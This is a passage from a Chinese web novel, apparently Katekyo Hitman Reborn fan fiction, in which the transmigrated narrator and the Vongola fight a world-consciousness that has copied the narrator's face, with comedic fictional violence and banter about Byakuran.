“祂可真固执,非要在一个循环的世界里,杀死对他有威胁的纲吉不可。”我知道,一旦卷王的针对对象从“7^3的大空”变成了“世界主角”,那么祂的第一目标就只有纲吉,尤尼酱的重要程度不仅在纲吉之后,也在Reborn和其他彭格列守护者之后。 “你说的‘祂’到底是指谁?”听到我特意提了纲吉的名字,强尼二这个十代目迷弟马上就坐不住了,又上前一步,几乎有了逼问的姿态。 而我不回答的理由就很简单了。 用说的,哪有用看得直观? 我侧身,将门让开,示意他们看向房间内部。 只见房间正中,那脱离了白色装置的石板透明化成流光倾泻而下,逐渐汇聚成了一个先前不曾有过的身影。这个身影凝固显现,可着实算不上陌生。 因为那就是——“我”。 和我一模一样的人正站在纲吉面前,并且出现瞬间,趁着旁人都因为我的脸而没有反应过来的时候,就毫不犹豫地攻击了纲吉。 “我”是谁? “我”是卷王! 卷王打钱! 抄我的建模。 这个世界那么多平行时空那么多人,祂非要抄我的建模。 抄得非常详细,连我手腕上的手环都抄上去了,就是不知道祂的手环能不能真的起到应有的效果。 总之就是很难评。 知道目瞪口呆四个字怎么写吗? 就写在其他几个人现在的脸上。 “他……你……”强尼二脑子有点乱,“这到底是怎么回事?” “7^3的化身。”正一脸上的惊讶只持续了很短的几秒,就迅速化为了然,“他也是,你也是——只不过,你们并不属于同一条世界线。” 连中间缺了一段剧情的Reborn都几乎找到了正确答案,要是正一一点都没有猜到,我反倒会惊讶。 我不置可否,在无限接近于世界规则刷新的节点,我已经不打算再承认任何事情。太得意忘形可是会翻车的,我深谙这个道理。 “等等我有点乱,如果你也是7^3的化身,那你就可以重启世界,为什么要在这里——”斯帕纳话说到一半,自己停了下来,“啊……因为这里的石板才是唯一实体的石板吗?” 不知道为什么,我预想当中看到卷王建模之后,应该对我表露出来的敌意,都没有出现。就连六道骸脸上都只有一点点凝重,而看不到动手的前兆。 奇怪,你们家教剧场的人,这么真诚的吗? 我脑中无端想起了Reborn在餐厅和我说的那句“用人不疑”。 怎么说呢,纲吉领导下的彭格列,和想要杀死自己的敌人合作也确实不止一次两次。 我的这个跳反级别,确实不够看的。 我没再搞什么抓马,“祂可以是任何人,但祂也不是任何人。” 只不过,对于一直受世界束缚的祂来说,任何属于这个世界之下的建模,祂都不喜欢。 我是这个世界里,唯一不属于这个世界的人。 “其他的事都不重要,重要的是怎么打开这个结界才好!?”强尼二最关心的果然是房间内正在发生的事。 我伸出一根手指,“很简单,只有一个字,等。” 里面的“我”正在和纲吉交手,但交界的空间里,卷王剥夺了火焰的存在,强行将战斗级别降维,却依然搅得里面天翻地覆。彩虹之子的状态很差,看起来丧失奶嘴却诅咒未消的间隙,对他们的影响很大,简直像是被非7^3射线照射后的模样,也被卷王送上了ban位。 “可,十代目没有指环,他们无法使用火焰。”强尼二有些担心,卷王构建了不可以使用火焰的世界规则,但却将自己排除在规则之外。 有火焰和没有火焰的战斗,简直存在维度差,只是彭格列指环适格者的人数差,根本弥补不了这种维度差别。 “放心,祂坚持不了多久的。”我拍了拍强尼二的肩膀。 不怕卷王制造规则,就怕他不制造。 卷王不理解纲吉和世界的关系。纲吉在哪里,世界就在哪里,哪怕是祂隔绝出了这么一个独立空间,但只要卷王用了7^3力量作为自己的化身、只要祂用了一次7^3的规则,那这个房间里的小世界,很快就会因为纲吉的存在重建世界规则——更何况,不仅仅是规则,世界意识的主要构成成分也都在房门线的另外一边。 着急的不应该是我,我也不用做什么,卷王根本关不了多长时间。 “而且我还知道,祂也是不会重启世界的。”我的手指沿着手环的屏幕划过,手环微微震以示回复,一切准备就绪。 从拉尔奶嘴碎裂的那一刻我就知道了,卷王不想全面刷新世界规则,他只是刷新了7^3石板来构筑自己的独立存在。 不愧是白花花不断破坏世界规则而孕育出来的独立意识,祂不是想着要摆脱世界规则的压制,而是想着要正面对抗世界。 所以才要将世界和纲吉分开,祂打着的是逐个击破的主意。 第150章 就像很多时候很难说清究竟是英雄造时势, 还是时势造英雄一样。世界中心和世界之间的关系,也很难用言语轻易表述清楚。 确实,世界拱卫着世界中心, 可世界中心也毫无疑问属于世界的一部分——但, 可以肯定的是,二者之间的联系不可分割,这样的关系可以独立于其他任何元素而存在。换而言之, 不论世界是大还是小,是真实还是虚幻,是复合还是单一,世界中心都终将无视所有阻碍, 和世界建立起联系。 卷王经历过那么多平行世界, 却为何看不清这个道理呢? 我能够感觉到,祂忌惮白花花远胜于忌惮纲吉——譬如,他期望我杀死白花花,却并未想着让我对纲吉采取强硬措施。 好吧,我确实产生过毁灭世界的念头, 但我那只是口|嗨一下而已。 至少卷王确实没有如针对白花花一样针对纲吉, 想当初,我可是直接被传到了白花花脸上。 为什么? 很简单, 因为在卷王虽然是世界意识的衍生体, 但祂却没有真正意义上像我一样的漫画级上帝视角。祂所经历的所有平行时空里,胜利者是白花花, 毁灭世界的是白花花, 让祂真正产生的还是白花花。 对于祂来说, 或许白花花才是需要绝对忌惮的世界中心。 祂急于让我这个世界之外的人介入此间世界, 急于让我杀死白花花, 又在白花花死后逐渐肆无忌惮,或许都是因为有这个底盘逻辑在。 至少,是根源之一。 但小看纲吉,可是要付出代价的。 透过一张薄薄的透明结界,正是现场动作大片,这个距离、这个画面、这个音效,和在杜比大厅看电影有什么区别,只可惜是2D的。 不对,还是一点其他的区别,那2D电影里面的一个主人公,正用着我的脸,说话时的立体环绕音效也是我自己的声音,实在是让我又别扭又难受。 但让人心情舒畅的是,另一个“我”,占着显而易见的优势,甚至可以说是压倒性的优势。以一敌多不落下风,还能有如此战绩,这种第三人称旁观自己的英姿确实别有一番风味。 正如强尼二所担心的,有火焰和没有火焰之间,存在着从零到一的根本性差距。 不过——没有火焰,里面的人倒也不是毫无反制手段。 比如,狱寺简直是个行走的炸弹,我都不知道他那些炸弹都是从哪里掏出来的,他身上真的有那么多隐藏口袋吗;蓝波就更不用说了,更是重量级,正所谓虚假的空间能力者白花花,真正的四次元空间拥有者,蓝波的头发。他到底是怎么能从自己毛茸茸的头发里,掏出火箭炮的? 这对吗? 合理吗? 二次元世界没有“合理”二字。 还有就是一批不需要仰赖火焰的能力——比如时雨苍燕流是剑术,山本只要带着刀,就是随时可以战斗的、被剑圣斯库瓦罗和世界第一杀手Reborn所认同的天才剑士;与之相同,了平大哥的拳击也是如此,战斗能力在己身而非外力;云雀恭弥就更不必说,他那个战斗爽的样子,我都害怕那么一点空间不够他发挥。 不愧是委员长大人,只要身处并盛,就有50%的领域加成,另有攻击+10%,防御+10%,如果并盛收到伤害,则会产生100%的愤怒加成,并进入狂暴状态。 并盛的地下,也是并盛。 比较特殊的是库洛姆,她的幻术本身就是一种先于火焰而存在的超自然力量,在一个由卷王主导的世界里,幻术是夺回主动权的绝佳方式。只不过,她本身的情况特殊,需要在用幻术维持自己生命的情况下进行反击。 作为半路出家的幻术师,能被六道骸选中,说明她的天赋不错,只不过缺乏经验。 幸好,在那里面还有一位实力强劲、经验老到的幻术师可以进行语言指导。玛蒙虽然在指环争夺战上被六道骸爆杀了一次,成为了六道骸装逼路上的垫脚石,但这并不意味着玛蒙真是个水货。 六道骸的优势在于,他六道轮回的能力并非单纯限于幻术而已;但若是轮幻术心得,玛蒙自问也不会逊色于任何人。 房间内模拟非7^3射线的环境让彩虹之子们的战力下跌,几乎被全数送上了ban位。但在实践过程中,一些战斗或是幻术经验依然可以作为指导。 不过真正让人惊讶的,还得是此时纲吉的战斗姿态。 应该可以想见吧,没有火焰加持的纲吉,是无法进入超死气模式的。 快看,是废柴纲在战斗——左脚踩右脚,但就是迷之角度给了卷王一个耳光。 我几乎没有见过这样状态的纲吉,用这样清澈的棕色眼睛战斗。 很不搭,但意外的有料。 他的战斗很有章法,只是偶尔出其不意,会来个脚下一滑。 说起来,其实不论是死气模式的他,还是非死气模式的他,本质上都是同一个人。不过在如此关头,他能如此快地接受真正的自己,并投入战斗——着实让人称奇。 这样的团战,看起来才是赏心悦目。 我心情悠哉,当然,能有如此心情的,仅我一人。最紧张的莫过于强尼二,他眼看着纲吉一行人屡屡落入下风,纲吉本人甚至几次差点被另一个“我”割喉斩首,急得跳脚,连带着我的眼神都不对了。 卷王深谙只要伤口不立即致命,敌人就九成九不会死的基本原理,攻击全部是冲着绝对致命的脖颈头颅而去,胸口这样变数太大的地方压根儿不是卷王的目标。 以7^3为身体基本元素的卷王,其攻击力实在强大,如果不是为了维持房间内的间隙空间,祂挥手间估计可以直接改变地貌。 祂想办法保留维系的特殊时空间隙反而束缚住了祂自己。 七人的主角团在很短的时间内快速达成了默契,有攻有防、有群伤有单体——有了平大哥这样的战士正面突击抗伤,有蓝波和狱寺这样的组合技射手铺垫伤害,有库洛姆这样的法师给队友创造输出环境,有山本和纲吉这样一左一右的主攻手,还有云雀这样灵活的刺客作为收割位。 能在毫无预演排练的情况下,默契达到如此配合,已经说明主角团之间的羁绊足够成熟。 但即使如此,实力的鸿沟依然无法跨越。 旁边的正一突然握住了我的手腕,他虽然没有强尼二那样明显的反应,但忧虑却一点也不少。虽然他没说,但我能感觉到,他的胃大概又开始强烈的抽痛。 可如此紧张的环境,连弯腰缓解疼痛的机会都不给他。 任谁来看,里面的主角团都没有胜算。 七人稳定的阵型很快被击散,在绝对压倒性的实力面前,再顽强的配合也都可以归为花里胡哨。 眼见着里面还没有变化,纲吉摔在地上,鼻子里流出了鲜血——他的鼻子没有受到直接攻击,这里流血,只可能是内伤。 内伤比外伤更加危险。 虽然没有听说哪个动漫主角会因为内出血而死,但毫无疑问,纲吉绝对死亡威胁。 都到了这一步,怎么还没有出现转机。 我心里一咯噔,不会在这种地方预料出错,给我搞了个阴沟翻船吧。 我摸上了手环,别人无法跨越这个结界,我却不一样。以我的特殊穿越体质,绝对可以穿过这个屏障——毕竟卷王相当于是在世界与世界直接创造了一个无人问津的小世界,既然房间内的本质是一个世界,我这个穿越者就能穿过这层屏障。 只是进入其中难免会陷入卷王的规则中,我是卷王专门召唤而来的“异世界勇者”,祂是唯一一个知道我存在的人,所以里面一定有专门针对我的东西。 但情况超越了我的预料,我原本的成竹在胸随着时间的流逝而打鼓。 突然,在某个时间点,变化发生了。 彼时,我已经有些耐不住地伸出了手,手腕都已经穿过了屏障,感受到了房间内部的温度。屏障另一边的卷王抬眼,注意到了我的手。 比起屏障内的纲吉,祂仿佛一直在等我现身,知道此刻,祂终于感受到了我的存在。隔着库洛姆的幻术和屏障,祂却仿佛能看到我一般,眼睛瞪得老大,勾起嘴唇露出了一个没有丝毫感情的笑。 ——伪人? 这就是传说中的恐怖谷效应吗? 我和“我”在对视,一时间有种毛骨悚然的感觉。 可就是这个时间点,卷王抬头当伪人的时间点,祂压制的身体下突然涌起了一股冲天之火,直接将分心的卷王掀飞了出去。 橘色的火焰如同一朵莲花,片片花瓣向上合围,盈满了全部空间。 火焰燎过我穿透了屏障的掌心,炽热又温暖,却并不灼人。 我仿佛能够从纲吉身上感受到强烈的战意,却并无杀意。 ——内心强大的人可以保护自己想要保护的人。 卷王的身体一时受到火焰的燎波,被大空的调和石化了衣角。但其他被火焰包裹的人,却反而没有受到任何负面影响,甚至火焰穿身而过时,有一种熟悉的感觉重新流露于身。 这种能量迸发的感觉,毫无疑问就是火焰喷涌前的临界,众人都很熟悉。 就紧跟在纲吉的火焰之后,七色不同状态的火焰如彩虹般绽放而出,瞬间如脉络般铺满了整个小世界。 在这些颜色的映照下,里面这个小世界的本质瞬间一览无余。 “这是7^3石板……”入江正一是一下子看出了透明结界里七色的位置,有彭格列的七色,也有彩虹之子的七色,而他们所处的,也正是7^3石板中彭格列指环和彩虹之子奶嘴所应该处于的位置。 里面的大家反倒是不如外面看得清楚,但战斗也未必需要完整的局势。 世界基石适格者的火焰,丝毫不比基石本身差,有人牵制之中,纲吉的X BURNER AIR在极短的一两秒内便成型。 “这么快的X BURNER AIR?operation X是反应不过来的!”斯帕纳这个制造者,对纲吉隐形眼镜中的程序最为熟悉,哪怕是再精巧的设计,从系统启动到焰压测试显示,至少也要五秒,纲吉的攻速太快了。 “但,他的焰压是平衡的。”我看到了这些细节。空中的纲吉没有一丝摇动,说明双手之间的焰压差不会超过0.1%,即使是operation X的最精确数据,也到不了这个地步,“刚才为了启动7^3石板,纲吉把自己的超直感调动到了极致,现在正是最灵敏的时候……现在的他已经不再需要operation X这个辅助系统了。” 当然,等到这个特殊的危机事件过去,如此敏感的超直感多半也不能长时间维持——其实超直感这种东西,太敏感了也不好,会给大脑造成极重的负担。 战斗时这种负担倒没什么,但如果时时刻刻都如此,日子可就难过了。 只不过,哪怕是这样五秒内瞬发的X BURNER AIR,对卷王来说,仍不够快。 祂不仅注意到了,而且还轻易地避开了正面的攻击,并且压低身体穿梭,让小世界里的其他人成为自己的盾牌。 可惜的是,祂失算了。 纲吉最一开始的目标,就不是祂。 我透过透明的屏障,看到了纲吉的眼睛。 我知道纲吉看不到我,但我却仍在那双眼睛里,看懂了他想要传达的信息,和眼睛里流露出的信任。 我和六道骸都看懂了。 我一把抓住距离我最近的正一扛在肩膀上,“噗”的一下,他本就抽痛的胃在我的肩膀上雪上加霜。接着,我左右手齐头并进,抓住了伽马和斯帕纳的后领,剩下的拉尔和强尼二则交给了距离他们更近的六道骸。 在其他人反应过来之前,我和六道骸便带人迅速后撤。 几乎是在我们后撤的瞬间,巨大的火焰便沿着我的手先前穿过屏障的位置突破,高温高压的火焰瞬间毁掉了地板,连带着下面的一层也消失得无影无踪,攻击程度之深,连地基下的泥土都露了出来。 可见纲吉的全力以赴。 彼时,刚刚开发出来的X BURNER都能有连穿三个房间的杀伤力,惊呆正一。在经过超级加强之后,受损的又岂会只有三个房间。 “咳咳咳——!”被我放下来的正一猛猛咳嗽,又是被我的肩膀顶着胃,又是吸入地面塌陷的扬起的灰尘,他咳得眼泪都流了出来。 简直是我见犹怜。 好嬷! 我摸了摸鼻子,别过了脸。 “Kufufufu,沢田纲吉,不论什么时候都出人预料。”听六道骸的笑声就知道,他的心情松懈下来不少。 确实,不论是纲吉突然恢复的火焰、和火焰仿佛不分敌我释放的方式,还是声东击西强行突破壁垒的手段,以及在看不到外面环境的情况下,朝我和六道骸传递的眼神,都出人预料、有赌的成分在。 “确实,正因如此,他才是他。”我回应了六道骸的话,抬手拦住了冲动的伽马,他看到屏障突破就忍不住了,“那可是7^3石板的本体,强行突破本体,他也真敢想。” “Kufufufu——”六道骸的笑容和口癖都密集起来,“与其说是沢田纲吉突破了7^3石板,不如说,是你给他开了个口子吧?” 他用一种“我懂,我什么都懂”的眼神看着我,未尽之语里毫不掩饰对自己猜测的确信。 ……6。 不愧是你六道骸,也是给你当上细节怪了。 灰尘散去,咳嗽的声音密集起来,看来被灰尘呛入鼻子的还不止正一一个。 “咳咳咳——我们这是出来了吗?”狱寺手指上明显还卡着炸弹,纯玄学意念点火,他可以让这些炸弹的引线突然自燃。 堂堂彭格列十代目的左右手,以后抽烟都不用带打火机,意念点烟,充满了神秘主义色彩——奇怪的技能增加了。 “出来了哦。”我说话的声音传过去,狱寺一抬头对上我的眼睛,手里的炸弹瞬间点燃了引线。 我:…… 看吧,我就说,他炸弹的点燃方法就很不科学科学。 不等我表明身份,纲吉就从烟尘的另外一边飞了过来——准确的来说是摔了过来——在地面上砸出了一个深坑。 烟尘散去,和我相同的面孔一跃而下,站在了我的面前。 诶? 真假美猴王(bushi) “给自己取名字了吗?”我问。 我有点想知道,祂究竟智能到了什么地步。 “我是‘世界’。”卷王一字一顿,不知道是在介绍自己的身份,还是在诉说自己的名字。 但这个名字—— 恕我脑子有问题,说起这个名字,我只能想起西园寺世界。 水果刀怎么突然出现在了我手的中。 这个名字所代表的动漫角色…… 嘘,不能说,会被小窗和谐掉的。 能和谐掉我的想法,却和谐不掉我。看着卷王一本正经地说出“我即世界”这样的话,我有些忍俊不禁,“不要用我的脸一本正经地说出这种话啊,好羞耻。” 卷王:? 祂歪头,好像并不完全理解我的点。 我注意到,祂的眼神空洞,有理智,却无情绪。 比起人,祂更像是一个可以进化、有自我思考能力的人工智能。 才一秒,这张伪人脸突然冲到了我面前。 艹! 我对着自己的脸,暗骂了一句脏话,向后一翻,躲开了祂的攻击。 我伸手把正一和斯帕纳这两个非战斗人员甩向身后,朗声道:“六道骸!” 话音一落,背后凭空出现的莲花带着的荷叶便接住了二人。 卷王感兴趣的人不是他们,他们和我拉开了距离,卷王自然也懒得在这个时候抽出精力来收拾无关人员。 果然,一离开小世界,卷王的目标就迅速纲吉转向了我。 仿佛比起已经被刷新的纲吉,我才是更大的威胁。 但卷王的火焰输出明显比刚才弱了许多,我踩着的地面开始发热——“噗”的一声,火山喷发,红色的岚之火焰犹如岩浆,铺满了整个地面。 就像是石榴的招数。 我眼睛一眯,有了一点猜想。 于是我没有反击,只是反踩着天花板,避开了岚火焰的强大杀伤力。 正是我反踩在天花板上的时候,天花板中突然伸出密集的绿色触|手,绿色但却并非是雷的属性,而是冒着紫色火焰的云。 增殖的属性让触|手密集地缠绕上来,这个画面似曾相识。 除了没有恐龙头,这不完全就是桔梗的招数吗! 刚这样想,触|手中就裂开了长长的缝隙,露出了里面密集的尖牙,咬了上来。 前言撤回,更接近迅猛龙的状态了。 果然,卷王的战斗模式,是遵循着已有记录的战斗模式来的。 完全AI模式。 卷王好像拟人化了,但又没有完全拟人。 伪人感更强了。 而且,不知道卷王是不是为了防止自己身体中的7^3和适格者们相互呼应,祂完全压制住了其他的力量,变换着玛雷指环的能力战斗着。 地面是岩浆,天花板是触|手——没有可以落脚和躲避的地方了。 但,我躲避的目的已经达到了,我确认了卷王是按照AI自动化模式进行战斗的。 不就复制拟态吗,我可擅长了。 我眼睛一瞪,手环微烫——顿时,地面的岩浆中有大量的水奔涌而出,雨属性的火焰以比岚属性更加磅礴的火焰量盖在了岩浆上。 “低头!” 我听到了这个声音,下意识地压低身体,接着大空火焰集束形成的X BURNER超爆发几乎贴着我的头皮攻向了卷王。 OH NONONO——我的头发! 我蹲在地上赶紧摸了摸我的头顶。 呼—— 头发还在,我的宝贝头发还在。 我心有余悸地松了口气。 头顶的卷王面对纲吉的攻击并不慌张,抬手硬接了这全力的一击。 事实上,与其说是硬接,倒不如说是吸收。 祂的掌心直接吸收掉了纲吉的火焰,然后变得更强了。 “没用的,”我扭头对纲吉说,“这家伙的身体就是7^3石板本身,适格者的火焰会被轻易地吸收进去。” 仿佛是为了回应我的话,卷王再次用我的脸做出了一个伪人笑,一眨眼,右边的瞳孔变成了彭格列大空指环的宝石,纲吉X BURNER的火焰环绕在右瞳上形成了个小龙卷,被吸入了瞳心。 然后,祂眨眼,右瞳的宝石像幻灯片一样变化,咔嚓一下,玛雷指环代替了彭格列指环。卷王伸手,用白花花的火焰,模仿出了和纲吉一样的招数。 卷王不知是在有意玩弄,还是另有原因,除了针对我,其他时候几乎没有主动出击,完全是别人发动什么攻击,祂就会吸收,然后给予相同的回击。 “可恶!”狱寺被自己的招数打得满心憋屈,“怎么样才能赢啊!” 纲吉额头的火焰有规律的一收一放,双手已经摆出了死气的零地点突破·改的姿势。 这招是吸收火焰的招数。 这是打算以其人之道还治其人之身? 我马上压住了纲吉的手腕,“不行,不要吸收他的火焰,祂会改变你的。” 卷王故意没有刷新世界,只是单纯地在那个小世界中完成了一次重启。这意味着,只有当时在小世界当中的人完成了刷新,也意味着,这些人和卷王一样,独立于现在身处的旧世界。 因为被刷新过,所以旧世界的规则无法束缚他们;又因为那个小世界的破碎,所以以卷王为中心的新世界规则也并未对纲吉起效。 可如果纲吉吸收了卷王作为7^3的火焰,就势必会再次被纳入卷王的规则之中。 这可不行,只有既和卷王处在一个新世界位面上,又不受卷王制定的规则压制的人,才能在合适的时候,有机会重启7^3石板,重启世界。 卷王在预判纲吉的反应,知道对方一定会用“吸收”来对抗“吸收”;而我在预判卷王的预判,祂每一步都是在引诱纲吉坠入深渊。 为什么要引诱? 当然是因为正面很难做到。 祂刚才不是也尝试过强杀了吗,但在火焰实力的鸿沟下都没有成功,现在自然就更难了。 看到我阻止了纲吉,卷王皱眉,展示出了我期末考试复习周时最后一天冲刺的表情,不想挂科的人脸上是没有笑容的,“为什么要妨碍我。” 祂难道是在问我吗? “你这话就可笑了,不会真的以为,我不知道幕后黑手是你吧。以为把一切嫁祸给白兰就万事大吉了?”我一挑眉,“白兰太相信平行世界的经验了,他连彩虹之子的奶嘴需要激活之后再嵌入石板这件事都不知道,怎么可能意识到我的存在,并且将我拖入这场纷争中?” 原来我惊讶的时候是这样的表情,卷王的眼睛完全不眨,只是定定地盯着我,歪头,“那你为什么要——” “为什么要顺应你的意愿杀了白兰?如果不杀了白兰,你永远都不会现身。我知道,这里不会有人比我更了解你了。” 看看我们俩这一模一样的建模,我这话可太有公信力了。 卷王下落,跺脚用力踩在地面上。顿时,地面随着祂看似轻巧的动作而剧烈晃动,剧烈的沟壑以他为中心,如蛛网般龟裂。整个基地瞬间塌陷,基地上的神社也跟着坠入深渊。 祂不是发动了攻击,而是制造了地震。 裂痕伴随着地震还在蔓延,瞬息间几乎将整个并盛都囊入其中。 哇,云雀的脸色黑如锅底,愤怒值+100%,攻击力、防御力、闪避和必中都提升了至少一倍。他生气了、他要动手了! 就在此时,深邃的沟壑里,数不清的手扒在边缘,从裂痕下漫无边际的岩浆里爬出了无数脱胎于云之火焰的身体。 这些身体上的脸,赫然都是“我”。 我嘴角抽动。 不是,我说卷王大哥,你能不能干点人事,这种场景,我鸡皮疙瘩都要起来了。 看着这么多有自己面孔的伪人……这已经不是惊悚,而是恶心的级别了啊! 这些分|身都拥有和彭格列主角团战斗的实力——甚至是有轻松压制他们的实力。 牵制住主角团,卷王毫不犹豫地奔向了我。 祂甚至是张着嘴来的——我都不知道自己的嘴可以张这么大,卷王剽窃了我的建模,然后修改了我的参数吗? 嘴巴张得比我的头都大,就连牙齿都是鲨鱼式的尖牙,伪人感更强了,瘆人。 我感觉,这已经不是田野娘的领域了,而是踏入了伊藤润二的舒适区。 在我和祂相撞的火焰中,祂那大张的嘴咬下了我胳膊上的一块肉,然后在那里认认真真地嚼嚼嚼,甚至还是砸吧嘴细细品味的缓解。 ……? 卷王身上的伪人buff真是越来越多了啊,喂! 天空一声惊雷,“轰”的雷动声带起了飓风狂狼,地震愈演愈烈,山火伴随着岩浆如同这世界上最强力的武器,无差别地碾过了山地平原。 ——天灾。 卷王很清楚祂的优势所在,与其把胜利的秤砣压在战斗的天平上,还不如将近乎无限的火焰转化成天灾。 从“云”中脱胎而出的伪人,“雷”响彻的天空激出山火、“岚”在大地上流淌着可以侵蚀一切的岩浆、“雨”聚集的洪水沿着海浪翻滚,“雾”气缭绕着阻碍了一切人与人的联系,最大程度地激起了恐慌…… “你还真是因为白兰存在而出现的自我意识,这种时候想着的竟然是毁灭世界。”我丢掉从卷王身上扯下来的手臂,看着晴属性的火焰从他断臂之处蔓延,很快新的手臂便长了出来,“现在的你应该已经明白了才对,即使是7^3石板也是世界的一部分,纲吉是必须要存在的。他若是死了、世界若是毁灭了,你打算去什么地方存在?” 卷王不说话,只是明晃晃地看着我。 好家伙,这家伙果然是打着反穿入侵三次元的主意。 我先前的担忧果然不是空穴来风,祂的野心大着呢,才不是这一个世界而已。 “吞噬吸收是最简单的手段……”我看着祂嘴角还残留着的血迹,那自己吃自己的嚼嚼嚼让我掉san,“如果没有我的帮助,你是不可能顺利脱离这个世界的,对吧。” 祂知道我来自世界之外,但却不知道世界之外究竟有什么,也无法真正脱胎于这个孕育了自己的世界。 想要去更广阔的地方,就要杀死这个世界的同时,获得我这个来往于世界内外的力量。 祂不知道我的力量来源,不知道我的穿越原理,不知道我的认知。但他却知道,我是也对不会主动开口告诉他的。 所以,“吃掉”是最简单、最直接、最有效的方法。 吃掉了我,卷王可以在毁灭世界的过程中,慢慢地消化。 这和杀掉本体,伪人占领本体没有什么区别。 我看着地面上无数的“我”,恐怖谷效应达到了巅峰,人麻了。 150-160 第151章 卷王的爆发力有多少我不知道, 但他的续航能力那绝对超一流的。 这大概是我人生中第一次,这么讨厌我自己、这么烦我自己——看见某个人的脸就心烦,原来是这种感觉。 我这张帅脸作为敌人的时候竟然也这么惹人厌, 果然是多么好听的音乐都不能做闹铃, 再这样下去,我以后都不会再想要照镜子了。 而且说实话,一直杀自己总是有些怪异的。 但好消息是, 如果让我直接去杀人,我这么个社会主义好青年,多少有些心理负担;但如果是戏精一下杀自己,那我反倒没有多少顾忌。 托我自己的福, 我对人体真是越来越熟悉了, 对自己的身体也越来越熟悉。 比如,我的心脏位置就在锁骨下一掌的距离,从肋骨缝隙里捅进去杀,比较轻松也比较高效;比如,我的脖颈折起来, 手感又僵又硬, 多半是平时低头低得太多,以后得多注意;还有我大腿上的动脉, 割开之后那个血液喷射的量……啧啧啧, 这怎么不算是一种另类的艺术呢? 我就这样成功地把一个少年热血漫变成了R18血浆掉san漫,感觉是会被B站人工和谐的级别。 比起我这样的“自相残杀”行动, 果然还是卷王制造的“天灾”的场面大些。 风暴、海浪、地震、火山, 我能够想到的灾难仿佛都在眼前同时上映, 俨然是灾难片的素材库。 “我很奇怪, 你的诞生比任何人都仰赖于这个世界, 也比任何人都熟悉这个世界,为什么非要毁掉这里去找一个陌生未知的地方不可?”我向后一翻,躲开了卷王的鲨鱼牙,抬手捏住了祂的两片嘴唇,把祂的嘴巴强行合上,“在最熟悉的地方,不是才能为所欲为吗?” 如果卷王最初的目的只是要留在这个世界、想在这个世界里占有一席之地的话,绝对不需要这么麻烦,只要跟着纲吉的步调重启世界就够了。 哪里用得着这样自爆卡车。 我快速后撤,避开了卷王想要捅进我胸口的手。 祂虽然板着脸,所做的每一个表情都机械化地充满了伪人感,但祂实际上却一点也不吝啬于和我说话。准确一点表述应该说,祂不吝啬于和任何人说话。 我能感觉到祂身上的那一股强烈的表达欲和表现欲,对卷王用的这张脸,我实在是了如指掌。祂的两瓣嘴唇还被我捏着,仍然用嗓音抽空回答我,“一成不变的东西有什么意思。” “你还真是白兰创造出来的产物——”果然对新鲜的东西有着病态的追求。 我的后半句话还没有说出口,只是听到了某个人的名字,卷王突然眼睛一瞪,地面上喷射的岩浆,温度一下子就提升了数倍。 就像是在回应着卷王的情绪一样。 祂在生气? “我不是他的产物!” ……嗯? 卷王祂超级在意这一点! “不是吗,难道不是他一次次的出格才导致世界意识形成了自主反击能力,进而成为了独立思考的个体——也就是你。”我饶有兴趣地观察着卷王。 不知道其他人有没有遇到过那种分辨伪人的小游戏广告,一个特定的事件或元素可以戳中伪人的肺管子,明显情绪变化就会暴露伪人的真实身份。 现在的卷王就处于这种状态,祂显然非常、非常讨厌自己和白花花被放到一起去,不断地强调着,“我是自由产生的,我是自由的。” 哦,明白了,你是艾伦·野鸽。 “自由的人不会强调自己的自由,你为什么非要杀死白兰不可,因为他活着会坏你的事吗?”我挑眉,看着祂一边排斥白花花,一边用着白花花的指环。 这样的卷王,简直就像是白花花的叛逆儿子。 白花花:吾儿叛逆伤吾心。 这位“叛逆儿子”肩膀颤抖着,眼神里充满了对我说辞的愤怒,“他是根源,他的能力是根源,平行世界的根源。” 卷王怎么会说话说一半呢? “也不能说是根源吧,他毕竟只是适格者,真要说那还得是玛雷——” “他是,根源。”卷王一字一顿地强调,眼睛里满是阴霾。 非常真实的情绪。 那毕竟是我自己的脸、我自己的眼睛,我还能看不出来真假吗?我敢肯定,这一刻祂的情感绝对真实,甚至是一种脱离了伪人的真实。 而这种情绪,不是激烈的愤怒、或是幽深的仇恨,而是一种……怨念。 我不理解。 我确实曾经在镜子里看到过这样的表情,比如说当我抽中去无聊讲座凑人头的时候,比如准备要体侧去跑一千并做引体向上的时候,比如考试去年还开卷今年就要闭卷的时候,比如——比如我猝不及防穿越,然后连穿几千个世界的时候——那种阴沉的怨念。 像是那种还没有开始实习投简历,就已经尝到007加班的命苦感。 对,就是这个用词——命苦感! 卷王这是在愤怒还是在抱怨,甚至是——幽怨? 怎么搞得像是祂被迫害了一样? 我嘴角抽动,即使卷王再认真,我也不能认同祂的话,“所谓根源,需要具有唯一性。白兰是根源……如果适格者是根源的话,那岂不是有无数个根源了吗?” 所以,基石才应该是平行世界产生的源头。 但说起来,漫画倒是对白花花以前的玛雷指环没有过多的着墨,不像彭格列指环,历代的BOSS都有露面的机会。 主角待遇,那确实不一样。 卷王听到我的话,停下了攻击的动作,悲愤地开口说道:“白兰·杰索就是唯一一个适格者!他的存在激活了玛雷指环,平行世界由他而起,他当然就是根源!” ……啊? 唯一的适格者。 认真的吗? 我眼睛一空。 不仅是唯一的适格者,而且还是激活了玛雷指环、打开了平行时空概念的人。 我突然有了一种奇特的猜测,犹犹豫豫地开口,“你不会是想说,白兰的存在,创造了那八兆亿个平行世界吧?” 全部都是白花花一个人的锅? 卷王用力地点头,仿佛要把脖颈都甩断的那种“用力”。 我以为卷王是把我几千次穿越的锅甩给了白花花,没想到锅还真有白花花的一半。 ……怪不得,怪不得。 恍然间,我就理解了卷王刚才那幽怨和悲愤的情感来源,以及对白花花的仇视。 我理解,我可太理解了! 难怪世界意识会衍生出如此的独立意识,原本只要关注一个世界,干一个世界的活儿,结果因为白花花激活了玛雷指环,所以要开始干八兆亿个世界的活,这个工作量的膨胀程度……拉磨的小电驴都不敢不充电的这么干,换了谁都要疯。 从一到八兆亿,白花花才获得玛雷指环才几年? 这么短的时间内,就能衍生出这么多世界,比指数级增长还要夸张,世界衍生的速度简直快得离谱。 我眼角抽动,看卷王的眼神都充满了怜悯。 “如果只是机械化地创造世界也就罢了,规则自然会随着世界的扩散而延伸。但白兰他——他还不按规则出牌!”卷王痛苦地斥责,就差以头抢地。 我懂的,我都懂。 白花花一次次地在规则的边缘左右横跳,导致世界意识也不得不疯狂地打补丁,卷王就是在打补丁的过程中产生的,自然对打补丁的过程极为熟悉。 